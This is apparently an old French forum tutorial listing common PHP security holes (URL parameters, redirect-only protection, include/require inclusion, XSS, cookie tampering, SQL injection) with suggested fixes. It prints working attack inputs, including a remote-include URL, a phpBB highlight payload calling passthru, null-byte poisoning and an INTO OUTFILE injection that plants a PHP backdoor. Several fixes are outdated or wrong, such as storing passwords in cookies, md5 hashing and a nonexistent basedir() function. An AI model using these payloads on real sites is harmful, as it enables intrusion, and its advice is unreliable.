Voici un sujet dont je suis l'auteur, j'espère qu'il pourra vous être utile. =]
Ce sujet a la prétention de regrouper les failles PHP les plus courantes et les plus dangereuses. Je m'employerais à tenir un discour accessible aux initiés comme aux débutants. Des allusions à des fonctions PHP pourront être faites, ce n'est pas le rôle de ce sujet que de vous apprendre à les utiliser, ainsi, je vous invite à vous référer à la documentation de PHP pour les termes qui ne vous poseraient problème.
Ces textes sont libres de droits, pour ma part, si vous souhaitez les utiliser sur votre site ou forum, merci d'indiquer la provenance, et le (ou les) auteur(s).
1. Les variables dans l'URL
2. Défauts de la redirection
3. Faille Include()
4. Failles XSS
5. Failles Cookies
6. Faille Urlencode()
7. Faille Require()
8. Trucs et astuces pour rester au sec
################################ N°1 ################################
1. Variables a l'air, gaffe aux courrants d'air.
Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin.php?loggin=1, soit quand vos identifiants de connexion sont contenus dans votre URL (à savoir une URL qui ressemblerait à http://www.site.com/admin.php?loggin=arthur&pass=toto). A partir du moment ou une personne a accès à des informations sensibles ou qu'il peut modifier une variable dans votre URL qui peut influer sur sa simple condition de visiteur à travers votre site, vous devez vous estimer en danger.
Pourquoi ? Même si cela puisse semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'est plus grave) dans des scripts installables sur vos sites, il faut donc veiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.
Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, soit en faisant transiter vos identifiants de connexion entre les pages par un ID de session, soit par un fichier contenant vos identifiants installé sur votre ordinateur qui sera lu par votre site.
################################ N°2 ################################
2. La redirection ? Pas une solution.
Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se logger, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique. Quels genre de codes sont infectés ?
If ($password !== "Pouletgrille") { print'<meta http-equiv="refresh" content="1; URL=?page=connexion">'; }
Pourquoi ? Que va il se passer quand le piratin va rentrer un mauvais mot de passe ? Il va arriver sur votre page non protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre page "protégée", et pourra y accomplir ses méfaits.
Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais, JAMAIS, JAMAIS, JAMAIIIIS sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :
If ($password == "Pouletgrille") { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion ! Afficher le formulaire d'identification'; }
C'est une méthode basique (certainement trop.) mais elle aura le mérite de vous protéger.
################################ N°3 ################################
3. La faille Include()
Célèbre car très utilisée, la faille include permet au pirate de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :
<?php include("$page") ?>
Pourqoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer ses pages malveillantes (comme cela : http://www.votresite.com/?page=http://www.sitedupirate.com/script.txt, et comme le PHP est un langage merveilleux, il pourra TOUT faire.
Comment y remédier ? Il y a plusieurs solutions : Voici une liste des alternatives les plus courrantes
################################ N°4 ################################
4. La faille XSS ? Ca me donne de l'herpes !
Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous (ce test ne coûte rien à faire, mais peut se montrer très important.) :
Salut ! <script>window.open("http://www.monsite.com/);</script>
Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.
Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant de l'HTML (comme ceci : $message = htmlspecialchars($message); ainsi, le code javascript ne sera pas interprété et sera écrit en html, c'est la méthode la plus simple, la plus répandue et la plus propre. ), ou empecher l'emploi de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message); (par exemple, le forum de PCinpact a décidé d'imposer un espace entre java et script, en plus d'imposer l'écriture des messages en html.
################################ N°5 ################################
5. La faille cookies ? Que nenni !
Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.
Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.
Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas. La faille cookie peut souvent être couplée avec une faille XSS pour permettre de se connecter à votre espace membre, et ce, même si votre mot de passe est crypté. Il est donc recommandé de coupler votre système de sécurité avec une vérification de l'IP qui demanderait le reloging du membre en cas d'incompatibilité de l'IP en base de données et de celle qui veut se connecter.
################################ N°6 ################################
6. La faille urldecode() dans les requetes SQL. (par Savory)
Utilisé contre phpmyadmin et phpbb actuellement.
Par exemple pour reprendre le code de viewtopic de phpbb :
$highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
// Split words and phrases
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
for($i = 0; $i < sizeof($words); $i++)
si on url encode ' en %27 puis re-urlencode en %2527 on peut injecter un ' au nez de la requete et donc injecter du code php.
Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id
Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)
################################ N°7 ################################
7. La faille require()
Au meme titre que l'include cité precedement sauf qu'elle est sensible au byte null genre %00
Si par exemple on a require("/home/web/lib/".$truc.".php");
on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques.
Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os :
L'exemple parlera de lui meme
1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/*
on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?>
en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E
et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page.
Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)
################################ N°8 ################################
8. Trucs et astuces
Respectez la norme
Toujours utiliser <?php (et non <?) pour des raisons de portabilité et de compatibilité avec les futures versions de php.
Ne laissez pas de messages d'erreur
Evitez de laisser des pages en création accessibles : Vous devez être le seul à avoir acces aux messages d'erreur. ( ou utiliser error_reporting(0); )
Vérifiez l'intégrité des fichiers utilisés
Utilisez toujours la fonction basedir(); pour être sur que les fichiers contenus dans les URL se trouvent dans le même répertoire (et non importés d'autres sites exotiques)
Encodez tous les mots de passe
Exemple de procédure :
Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair":
utilisez la commande md5():
$mdp_chiffre = md5($motdepasse);
Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites:
$a_verifier = md5($ce_qui_a_ete_saisi);
et comparez ce que vous obtenez avec ce qui est stocké dans la base de données. Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant. (note: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.)
###########################
Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)
Partager